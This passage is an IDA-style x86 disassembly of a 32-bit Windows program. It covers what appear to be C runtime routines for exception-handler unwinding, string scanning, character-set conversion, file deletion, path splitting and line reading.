loc_415421 call sub_417A7E loc_415421: ; CODE XREF: sub_41540C+Ej push [esp+arg_0] push eax call sub_415344 pop ecx pop ecx retn sub_41540C endp ; =============== S U B R O U T I N E ======================================= sub_41542E proc near ; CODE XREF: sub_406FE7+27p ; sub_407028+4Dp arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_414C81 pop ecx pop ecx retn sub_41542E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41543C proc near ; CODE XREF: sub_41A4F4+60p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41543C endp ; --------------------------------------------------------------------------- pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41546C proc near ; CODE XREF: sub_41A16F+25p ; sub_41A378+149p ... arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41546C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415473 proc near ; CODE XREF: sub_41551F+5Ap ; sub_41A4F4:loc_41A517p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov esi, large fs:0 mov [ebp+var_4], esi mov [ebp+var_8], offset loc_41549C push 0 push [ebp+arg_4] push [ebp+var_8] push [ebp+arg_0] call sub_41F3D6 ; RtlUnwind loc_41549C: ; DATA XREF: sub_415473+12o mov eax, [ebp+arg_4] mov eax, [eax+4] and eax, 0FFFFFFFDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov edi, large fs:0 mov ebx, [ebp+var_4] mov [ebx], edi mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_415473 endp ; --------------------------------------------------------------------------- loc_4154C5: ; CODE XREF: .text:0041F9D2j push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41A7FD add esp, 20h mov [ebp-4], eax pop edi pop esi pop ebx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_4154FB: ; DATA XREF: sub_41569F+17o cld mov eax, [esp+8] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push dword ptr [esp+20h] push dword ptr [eax+0Ch] push dword ptr [esp+20h] call sub_41A7FD add esp, 20h retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41551F proc near ; DATA XREF: sub_4156F0+Bo arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_415540 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 xor eax, eax inc eax jmp short loc_41558D ; --------------------------------------------------------------------------- loc_415540: ; CODE XREF: sub_41551F+10j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41A7FD add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41557E push [ebp+arg_0] push [ebp+arg_4] call sub_415473 loc_41557E: ; CODE XREF: sub_41551F+52j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- xor eax, eax inc eax loc_41558D: ; CODE XREF: sub_41551F+1Fj pop ebx pop ebp retn sub_41551F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415590 proc near ; CODE XREF: sub_41A55B+52p ; sub_41A61B+E2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 push ebx push esi push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+var_4], eax mov [ebp+arg_0], esi jl short loc_4155E6 loc_4155AE: ; CODE XREF: sub_415590+51j cmp esi, 0FFFFFFFFh jnz short loc_4155B8 call sub_41A8D4 loc_4155B8: ; CODE XREF: sub_415590+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] lea eax, [ebx+eax*4] cmp [eax+4], ecx jge short loc_4155CC cmp ecx, [eax+8] jle short loc_4155D1 loc_4155CC: ; CODE XREF: sub_415590+35j cmp esi, 0FFFFFFFFh jnz short loc_4155DD loc_4155D1: ; CODE XREF: sub_415590+3Aj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_4155DD: ; CODE XREF: sub_415590+3Fj cmp [ebp+arg_4], 0 jge short loc_4155AE mov eax, [ebp+var_4] loc_4155E6: ; CODE XREF: sub_415590+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_4155FA cmp esi, eax jbe short loc_4155FF loc_4155FA: ; CODE XREF: sub_415590+64j call sub_41A8D4 loc_4155FF: ; CODE XREF: sub_415590+68j pop edi lea eax, [esi+esi*4] pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_415590 endp ; =============== S U B R O U T I N E ======================================= sub_41560A proc near ; CODE XREF: sub_41A1D1+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov [esi], eax call sub_416C45 mov eax, [eax+84h] mov [esi+4], eax call sub_416C45 mov [eax+84h], esi mov eax, esi pop esi retn sub_41560A endp ; =============== S U B R O U T I N E ======================================= sub_415632 proc near ; CODE XREF: sub_41A314+4Bp arg_0 = dword ptr 4 call sub_416C45 mov eax, [eax+84h] jmp short loc_41564A ; --------------------------------------------------------------------------- loc_41563F: ; CODE XREF: sub_415632+1Aj mov ecx, [eax] cmp ecx, [esp+arg_0] jz short loc_415650 mov eax, [eax+4] loc_41564A: ; CODE XREF: sub_415632+Bj test eax, eax jnz short loc_41563F inc eax retn ; --------------------------------------------------------------------------- loc_415650: ; CODE XREF: sub_415632+13j xor eax, eax retn sub_415632 endp ; =============== S U B R O U T I N E ======================================= sub_415653 proc near ; CODE XREF: sub_41A314+9p arg_0 = dword ptr 4 push esi call sub_416C45 mov esi, [esp+4+arg_0] cmp esi, [eax+84h] jnz short loc_415675 call sub_416C45 mov ecx, [esi+4] mov [eax+84h], ecx pop esi retn ; --------------------------------------------------------------------------- loc_415675: ; CODE XREF: sub_415653+10j call sub_416C45 mov eax, [eax+84h] jmp short loc_41568B ; --------------------------------------------------------------------------- loc_415682: ; CODE XREF: sub_415653+3Cj mov ecx, [eax+4] cmp esi, ecx jz short loc_415697 mov eax, ecx loc_41568B: ; CODE XREF: sub_415653+2Dj cmp dword ptr [eax+4], 0 jnz short loc_415682 pop esi jmp sub_41A8D4 ; --------------------------------------------------------------------------- loc_415697: ; CODE XREF: sub_415653+34j mov ecx, [esi+4] mov [eax+4], ecx pop esi retn sub_415653 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41569F proc near ; CODE XREF: sub_41A1D1+71p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] inc eax mov [ebp+var_10], offset loc_4154FB mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_41A910 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41569F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4156F0 proc near ; CODE XREF: sub_41A55B+33p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41551F mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_415773 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call sub_416C45 call dword ptr [eax+74h] pop ecx pop ecx and [ebp+var_34], 0 loc_415773: ; DATA XREF: sub_4156F0+3Ao cmp [ebp+var_4], 0 jz short loc_415790 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_415799 ; --------------------------------------------------------------------------- loc_415790: ; CODE XREF: sub_4156F0+87j mov eax, [ebp+var_28] mov large fs:0, eax loc_415799: ; CODE XREF: sub_4156F0+9Ej mov eax, [ebp+var_34] pop ebx leave retn sub_4156F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157A0 proc near ; CODE XREF: sub_41CED0+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_4157B8 push [ebp+arg_0] call sub_41F3D6 ; RtlUnwind loc_4157B8: ; DATA XREF: sub_4157A0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4157A0 endp ; =============== S U B R O U T I N E ======================================= sub_4157C0 proc near ; DATA XREF: sub_4157E2+Ao ; sub_41584A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4157E1 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4157E1: ; CODE XREF: sub_4157C0+10j retn sub_4157C0 endp ; =============== S U B R O U T I N E ======================================= sub_4157E2 proc near ; CODE XREF: sub_41CED0+67p ; sub_41CED0+A7p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4157C0 push large dword ptr fs:0 mov large fs:0, esp loc_4157FF: ; CODE XREF: sub_4157E2:loc_41583Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41583C cmp esi, [esp+1Ch+arg_4] jz short loc_41583C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41583A push 101h mov eax, [ebx+esi*4+8] call sub_415876 call dword ptr [ebx+esi*4+8] loc_41583A: ; CODE XREF: sub_4157E2+44j jmp short loc_4157FF ; --------------------------------------------------------------------------- loc_41583C: ; CODE XREF: sub_4157E2+2Aj ; sub_4157E2+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4157E2 endp ; =============== S U B R O U T I N E ======================================= sub_41584A proc near ; CODE XREF: sub_41A314+55p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4157C0 jnz short locret_41586C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41586C mov eax, 1 locret_41586C: ; CODE XREF: sub_41584A+10j ; sub_41584A+1Bj retn sub_41584A endp ; =============== S U B R O U T I N E ======================================= sub_41586D proc near ; CODE XREF: sub_41A910+1Ep ; sub_41A910+40p push ebx push ecx mov ebx, offset dword_42D7C0 jmp short loc_415880 sub_41586D endp ; =============== S U B R O U T I N E ======================================= sub_415876 proc near ; CODE XREF: sub_4157E2+4Fp ; sub_41CED0+78p push ebx push ecx mov ebx, offset dword_42D7C0 mov ecx, [ebp+8] loc_415880: ; CODE XREF: sub_41586D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_415876 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415890 proc near ; CODE XREF: sub_407028+5p push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_415890 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_4158C0 loc_4158B0: ; CODE XREF: sub_4158C0+1Fj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_4158C0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4158C0 proc near ; CODE XREF: sub_4070A9+21p ; sub_4077E4+32p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 004158B0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_4158C6: ; CODE XREF: sub_414EE0+74j push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_4158ED loc_4158D8: ; CODE XREF: sub_4158C0+2Bj mov cl, [edx] add edx, 1 cmp cl, bl jz short loc_4158B0 test cl, cl jz short loc_415936 test edx, 3 jnz short loc_4158D8 loc_4158ED: ; CODE XREF: sub_4158C0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_4158F8: ; CODE XREF: sub_4158C0+63j ; sub_4158C0+72j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41593A and eax, 81010100h jz short loc_4158F8 and eax, 1010100h jnz short loc_415934 and esi, 80000000h jnz short loc_4158F8 loc_415934: ; CODE XREF: sub_4158C0+6Aj ; sub_4158C0+83j ... pop esi pop edi loc_415936: ; CODE XREF: sub_4158C0+23j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41593A: ; CODE XREF: sub_4158C0+5Cj mov eax, [edx-4] cmp al, bl jz short loc_415977 test al, al jz short loc_415934 cmp ah, bl jz short loc_415970 test ah, ah jz short loc_415934 shr eax, 10h cmp al, bl jz short loc_415969 test al, al jz short loc_415934 cmp ah, bl jz short loc_415962 test ah, ah jz short loc_415934 jmp short loc_4158F8 ; --------------------------------------------------------------------------- loc_415962: ; CODE XREF: sub_4158C0+9Aj pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_415969: ; CODE XREF: sub_4158C0+92j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_415970: ; CODE XREF: sub_4158C0+87j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_415977: ; CODE XREF: sub_4158C0+7Fj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_4158C0 endp ; =============== S U B R O U T I N E ======================================= sub_41597E proc near ; CODE XREF: sub_4076B0+55p ; sub_40FE91+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] loc_415982: ; CODE XREF: sub_41597E+Cj mov cx, [eax] inc eax inc eax test cx, cx jnz short loc_415982 sub eax, [esp+arg_0] sar eax, 1 dec eax retn sub_41597E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415994 proc near ; CODE XREF: sub_415A8A+22p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_415A5B mov ebx, [ebp+arg_C] cmp ebx, esi jz loc_415A85 mov edi, [ebp+arg_0] cmp [edi+14h], esi jnz short loc_4159E6 cmp ebx, esi jbe loc_415A85 loc_4159C5: ; CODE XREF: sub_415994+4Bj mov ecx, [ebp+arg_8] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_415A85 inc eax inc edx inc edx cmp eax, ebx jb short loc_4159C5 jmp loc_415A85 ; --------------------------------------------------------------------------- loc_4159E6: ; CODE XREF: sub_415994+27j mov esi, ds:dword_4200D4 push ebx mov ebx, [ebp+arg_8] push edx push 0FFFFFFFFh push ebx push 9 push dword ptr [edi+4] call esi ; MultiByteToWideChar test eax, eax jnz loc_415A84 call ds:dword_420008 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_415A1E loc_415A0E: ; CODE XREF: sub_415994+C5j ; sub_415994+EEj call sub_419430 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_415A85 ; --------------------------------------------------------------------------- loc_415A1E: ; CODE XREF: sub_415994+78j mov eax, [ebp+arg_C] mov [ebp+var_4], eax mov eax, ebx loc_415A26: ; CODE XREF: sub_415994+AEj mov cl, [eax] dec [ebp+var_4] test cl, cl jz short loc_415A44 mov edx, [edi+48h] movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_415A3D inc eax loc_415A3D: ; CODE XREF: sub_415994+A6j inc eax cmp [ebp+var_4], 0 jnz short loc_415A26 loc_415A44: ; CODE XREF: sub_415994+99j push [ebp+arg_C] sub eax, ebx push [ebp+arg_4] push eax push ebx push 1 push dword ptr [edi+4] call esi ; MultiByteToWideChar test eax, eax jnz short loc_415A85 jmp short loc_415A0E ; --------------------------------------------------------------------------- loc_415A5B: ; CODE XREF: sub_415994+10j mov eax, [ebp+arg_0] cmp [eax+14h], esi jnz short loc_415A6E push [ebp+arg_8] call sub_4177F0 pop ecx jmp short loc_415A85 ; --------------------------------------------------------------------------- loc_415A6E: ; CODE XREF: sub_415994+CDj push esi push esi push 0FFFFFFFFh push [ebp+arg_8] push 9 push dword ptr [eax+4] call ds:dword_4200D4 ; MultiByteToWideChar cmp eax, esi jz short loc_415A0E loc_415A84: ; CODE XREF: sub_415994+69j dec eax loc_415A85: ; CODE XREF: sub_415994+1Bj ; sub_415994+2Bj ... pop edi pop esi pop ebx leave retn sub_415994 endp ; =============== S U B R O U T I N E ======================================= sub_415A8A proc near ; CODE XREF: sub_4076B0+19p ; sub_4076B0+49p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_416C45 mov eax, [eax+64h] cmp eax, off_42D84C jz short loc_415A9F call sub_417A7E loc_415A9F: ; CODE XREF: sub_415A8A+Ej push [esp+arg_8] push [esp+4+arg_4] push [esp+8+arg_0] push eax call sub_415994 add esp, 10h retn sub_415A8A endp ; =============== S U B R O U T I N E ======================================= sub_415AB5 proc near ; CODE XREF: sub_4089DC+51ABp arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_4200E4 ; DeleteFileA test eax, eax jnz short loc_415ACB call ds:dword_420008 ; RtlGetLastWin32Error jmp short loc_415ACD ; --------------------------------------------------------------------------- loc_415ACB: ; CODE XREF: sub_415AB5+Cj xor eax, eax loc_415ACD: ; CODE XREF: sub_415AB5+14j test eax, eax jz short loc_415ADC push eax call sub_419442 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_415ADC: ; CODE XREF: sub_415AB5+1Aj xor eax, eax retn sub_415AB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415ADF proc near ; CODE XREF: sub_4089DC+5115p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push 14h push offset stru_428D78 call __SEH_prolog mov esi, [ebp+arg_0] mov [ebp+var_1C], esi push esi call sub_417E28 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_41A95C mov [ebp+var_20], eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push esi call sub_416492 mov [ebp+var_24], eax push esi push [ebp+var_20] call sub_41A9E4 add esp, 18h or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_415B33 mov eax, [ebp+var_24] call __SEH_epilog retn sub_415ADF endp ; =============== S U B R O U T I N E ======================================= sub_415B33 proc near ; CODE XREF: sub_415ADF+46p ; DATA XREF: .rdata:stru_428D78o push dword ptr [ebp-1Ch] call sub_417E7A pop ecx retn sub_415B33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B3D proc near ; CODE XREF: sub_4089DC+431Fp ; sub_40E6BB+F6p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_4177F0 cmp eax, 1 pop ecx jb short loc_415B79 cmp byte ptr [ebx+1], 3Ah jnz short loc_415B79 mov esi, [ebp+arg_4] test esi, esi jz short loc_415B75 push 2 push ebx push esi call sub_41AF6B add esp, 0Ch and byte ptr [esi+2], 0 loc_415B75: ; CODE XREF: sub_415B3D+26j inc ebx inc ebx jmp short loc_415B83 ; --------------------------------------------------------------------------- loc_415B79: ; CODE XREF: sub_415B3D+19j ; sub_415B3D+1Fj mov eax, [ebp+arg_4] test eax, eax jz short loc_415B83 and byte ptr [eax], 0 loc_415B83: ; CODE XREF: sub_415B3D+3Aj ; sub_415B3D+41j and [ebp+arg_0], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov [ebp+var_8], eax mov esi, 0FFh jz short loc_415BFB loc_415B96: ; CODE XREF: sub_415B3D+88j mov cl, [eax] movzx edx, cl test byte_47C761[edx], 4 jz short loc_415BA7 inc eax jmp short loc_415BC1 ; --------------------------------------------------------------------------- loc_415BA7: ; CODE XREF: sub_415B3D+65j cmp cl, 2Fh jz short loc_415BBB cmp cl, 5Ch jz short loc_415BBB cmp cl, 2Eh jnz short loc_415BC1 mov [ebp+var_4], eax jmp short loc_415BC1 ; --------------------------------------------------------------------------- loc_415BBB: ; CODE XREF: sub_415B3D+6Dj ; sub_415B3D+72j lea ecx, [eax+1] mov [ebp+arg_0], ecx loc_415BC1: ; CODE XREF: sub_415B3D+68j ; sub_415B3D+77j ... inc eax cmp byte ptr [eax], 0 jnz short loc_415B96 mov edi, [ebp+arg_0] test edi, edi mov [ebp+var_8], eax jz short loc_415BFB cmp [ebp+arg_8], 0 jz short loc_415BF6 sub edi, ebx cmp edi, esi jb short loc_415BDF mov edi, esi loc_415BDF: ; CODE XREF: sub_415B3D+9Ej push edi push ebx push [ebp+arg_8] call sub_41AF6B mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+var_8] loc_415BF6: ; CODE XREF: sub_415B3D+98j mov ebx, [ebp+arg_0] jmp short loc_415C05 ; --------------------------------------------------------------------------- loc_415BFB: ; CODE XREF: sub_415B3D+57j ; sub_415B3D+92j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_415C05 and byte ptr [ecx], 0 loc_415C05: ; CODE XREF: sub_415B3D+BCj ; sub_415B3D+C3j mov edi, [ebp+var_4] test edi, edi jz short loc_415C58 cmp edi, ebx jb short loc_415C58 cmp [ebp+arg_C], 0 jz short loc_415C35 sub edi, ebx cmp edi, esi jb short loc_415C1E mov edi, esi loc_415C1E: ; CODE XREF: sub_415B3D+DDj push edi push ebx push [ebp+arg_C] call sub_41AF6B mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+var_8] loc_415C35: ; CODE XREF: sub_415B3D+D7j mov edi, [ebp+arg_10] test edi, edi jz short loc_415C80 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_415C45 mov esi, eax loc_415C45: ; CODE XREF: sub_415B3D+104j push esi push [ebp+var_4] push edi call sub_41AF6B add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_415C80 ; --------------------------------------------------------------------------- loc_415C58: ; CODE XREF: sub_415B3D+CDj ; sub_415B3D+D1j mov edi, [ebp+arg_C] test edi, edi jz short loc_415C76 sub eax, ebx cmp eax, esi jnb short loc_415C67 mov esi, eax loc_415C67: ; CODE XREF: sub_415B3D+126j push esi push ebx push edi call sub_41AF6B add esp, 0Ch and byte ptr [esi+edi], 0 loc_415C76: ; CODE XREF: sub_415B3D+120j mov eax, [ebp+arg_10] test eax, eax jz short loc_415C80 and byte ptr [eax], 0 loc_415C80: ; CODE XREF: sub_415B3D+FDj ; sub_415B3D+119j ... pop edi pop esi pop ebx leave retn sub_415B3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C85 proc near ; CODE XREF: sub_4089DC+37A0p ; sub_4089DC+37CDp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 18h push offset stru_428D88 call __SEH_prolog mov ebx, [ebp+arg_0] mov edi, ebx mov [ebp+var_1C], ebx cmp [ebp+arg_4], 0 jg short loc_415CA3 xor eax, eax jmp short loc_415CFA ; --------------------------------------------------------------------------- loc_415CA3: ; CODE XREF: sub_415C85+18j mov esi, [ebp+arg_8] mov [ebp+var_20], esi push esi call sub_417E28 pop ecx and [ebp+ms_exc.disabled], 0 loc_415CB4: ; CODE XREF: sub_415C85+64j dec [ebp+arg_4] jz short loc_415CEB dec dword ptr [esi+4] js short loc_415CC8 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_415CCF ; --------------------------------------------------------------------------- loc_415CC8: ; CODE XREF: sub_415C85+37j push esi call sub_418C09 pop ecx loc_415CCF: ; CODE XREF: sub_415C85+41j mov [ebp+var_24], eax cmp eax, 0FFFFFFFFh jnz short loc_415CE1 cmp edi, ebx jnz short loc_415CEB and [ebp+var_1C], 0 jmp short loc_415CEE ; --------------------------------------------------------------------------- loc_415CE1: ; CODE XREF: sub_415C85+50j mov [edi], al inc edi mov [ebp+var_28], edi cmp al, 0Ah jnz short loc_415CB4 loc_415CEB: ; CODE XREF: sub_415C85+32j ; sub_415C85+54j and byte ptr [edi], 0 loc_415CEE: ; CODE XREF: sub_415C85+5Aj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_415D03 mov eax, [ebp+var_1C] loc_415CFA: ; CODE XREF: sub_415C85+1Cj call __SEH_epilog retn sub_415C85 endp ; =============== S U B R O U T I N E ======================================= sub_415D00 proc near ; DATA XREF: .rdata:stru_428D88o mov esi, [ebp-20h] sub_415D00 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415D03 proc near ; CODE XREF: sub_415C85+6Dp push esi call sub_417E7A pop ecx retn sub_415D03 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D10 proc near ; CODE XREF: sub_4089DC+8D4p ; sub_411DD2+285p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_415D42 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_415D40 jz short loc_415D42 sub ecx, 2 loc_415D40: ; CODE XREF: sub_415D10+29j not ecx loc_415D42: ; CODE XREF: sub_415D10+9j ; sub_415D10+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_415D10 endp ; =============== S U B R O U T I N E ======================================= sub_415D49 proc near ; CODE XREF: sub_415DF0+CBp ; 